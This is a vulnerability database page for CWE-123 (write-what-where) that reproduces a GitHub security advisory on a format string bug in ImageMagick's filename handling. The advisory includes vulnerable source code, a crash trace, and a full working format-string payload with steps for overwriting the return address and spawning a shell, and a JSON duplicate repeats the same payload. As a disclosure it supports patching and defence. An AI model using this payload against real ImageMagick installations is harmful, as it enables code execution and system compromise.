Common Weakness Enumeration

CWE-123

Allowed

Write-what-where Condition

Abstraction: Base · Status: Draft

API response cwe.mitre.org

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

86 vulnerabilities reference this CWE, most recent first.

GHSA-9CCG-6PJW-X645

Vulnerability from github – Published: 2025-08-26 15:29 – Updated: 2025-11-03 21:34
VLAI
Summary
ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution
Details

Summary

A format string bug vulnerability exists in InterpretImageFilename function where user input is directly passed to FormatLocaleString without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution.

Details

root cause

MagickExport size_t InterpretImageFilename(const ImageInfo *image_info,
  Image *image,const char *format,int value,char *filename,
  ExceptionInfo *exception)
{

...

  while ((cursor=strchr(cursor,'%')) != (const char *) NULL)
  {
    const char
      *q = cursor;

    ssize_t
      offset = (ssize_t) (cursor-format);

    cursor++;  /* move past '%' */
    if (*cursor == '%')
      {
        /*
          Escaped %%.
        */
        cursor++;
        continue;
      }
    /*
      Skip padding digits like %03d.
    */
    if (isdigit((int) ((unsigned char) *cursor)) != 0)
      (void) strtol(cursor,(char **) &cursor,10);
    switch (*cursor)
    {
      case 'd':
      case 'o':
      case 'x':
      {
        ssize_t
          count;

        count=FormatLocaleString(pattern,sizeof(pattern),q,value);
        if ((count <= 0) || (count >= MagickPathExtent) ||
            ((offset+count) >= MagickPathExtent))
          return(0);
        (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent-
          offset));
        cursor++;
        break;
      }

When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function. 

MagickExport ssize_t FormatLocaleString(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,...)
{
  ssize_t
    n;

  va_list
    operands;

  va_start(operands,format);
  n=FormatLocaleStringList(string,length,format,operands);
  va_end(operands);
  return(n);
}

MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,va_list operands)
{
...
n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands);

Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations.

PoC

1. Heap overflow read tested on development container

root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n
=================================================================
==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408
READ of size 8 at 0x603000000001 thread T0
    #0 0x5bdccaae689d in SplaySplayTree splay-tree.c
    #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #10 0x73b2102b2d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)

0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028)
allocated by thread T0 here:
    #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #1 0x73b21031915a  (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)

SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==55653==ABORTING

Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition.

2. Shell execution tested on a local environment

https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94

 ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa

The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges.

Exploitation Process: 1. Format string payload corrupts stack pointers through positional parameters 2. Multiple 2-byte writes (%hn) progressively overwrite the return address
3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85) 4. One-gadget executes /bin/sh with inherited process permissions

Remote Exploitation Feasibility: While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access.

Important: The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.

Note: This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system.

Impact

This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges.

The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks.

Suggested Fix

Two potential mitigation approaches:

  1. Input Validation: Add format string validation in InterpretImageFilename to reject filenames containing format specifiers (%n, %s, %x, etc.) before passing to FormatLocaleString
  2. Safe Parsing: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to FormatLocaleString

Credits

Team Daemon Fuzz Hunters

Bug Hunting Master Program, HSpace/Findthegap

Woojin Park @jin-156 1203kids@gmail.com

Hojun Lee @leehohojune leehojune@korea.ac.kr

Youngin Won @amethyst0225 youngin04@korea.ac.kr

Siyeon Han @hanbunny kokosyeon@gmail.com

Additional notes from the ImageMagick team:

On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:

To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:

  • In wrappers: filename:literal
  • From the command line: -define filename:literal=true
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
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  "details": "## Summary\nA format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution.\n\u003cbr\u003e\n\n## Details\n### root cause\n```\nMagickExport size_t InterpretImageFilename(const ImageInfo *image_info,\n  Image *image,const char *format,int value,char *filename,\n  ExceptionInfo *exception)\n{\n\n...\n\n  while ((cursor=strchr(cursor,\u0027%\u0027)) != (const char *) NULL)\n  {\n    const char\n      *q = cursor;\n\n    ssize_t\n      offset = (ssize_t) (cursor-format);\n\n    cursor++;  /* move past \u0027%\u0027 */\n    if (*cursor == \u0027%\u0027)\n      {\n        /*\n          Escaped %%.\n        */\n        cursor++;\n        continue;\n      }\n    /*\n      Skip padding digits like %03d.\n    */\n    if (isdigit((int) ((unsigned char) *cursor)) != 0)\n      (void) strtol(cursor,(char **) \u0026cursor,10);\n    switch (*cursor)\n    {\n      case \u0027d\u0027:\n      case \u0027o\u0027:\n      case \u0027x\u0027:\n      {\n        ssize_t\n          count;\n\n        count=FormatLocaleString(pattern,sizeof(pattern),q,value);\n        if ((count \u003c= 0) || (count \u003e= MagickPathExtent) ||\n            ((offset+count) \u003e= MagickPathExtent))\n          return(0);\n        (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent-\n          offset));\n        cursor++;\n        break;\n      }\n```\nWhen the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function.\n\u003cbr\u003e\n```\nMagickExport ssize_t FormatLocaleString(char *magick_restrict string,\n  const size_t length,const char *magick_restrict format,...)\n{\n  ssize_t\n    n;\n\n  va_list\n    operands;\n\n  va_start(operands,format);\n  n=FormatLocaleStringList(string,length,format,operands);\n  va_end(operands);\n  return(n);\n}\n```\n```\nMagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string,\n  const size_t length,const char *magick_restrict format,va_list operands)\n{\n...\nn=(ssize_t) _vsnprintf_l(string,length,format,locale,operands);\n```\nInside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations.\n\u003cbr\u003e\n## PoC\n### 1. Heap overflow read tested on development container\n```\nroot@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n\n=================================================================\n==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408\nREAD of size 8 at 0x603000000001 thread T0\n    #0 0x5bdccaae689d in SplaySplayTree splay-tree.c\n    #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #10 0x73b2102b2d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n    #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n    #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n\n0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028)\nallocated by thread T0 here:\n    #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #1 0x73b21031915a  (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree\nShadow bytes around the buggy address:\n  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=\u003e0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00\n  0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00\n  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00\n  0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==55653==ABORTING\n```\nProcessing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition.\n\u003cbr\u003e\n\n### 2. Shell execution tested on a local environment\n\nhttps://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94\n\n```\n ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c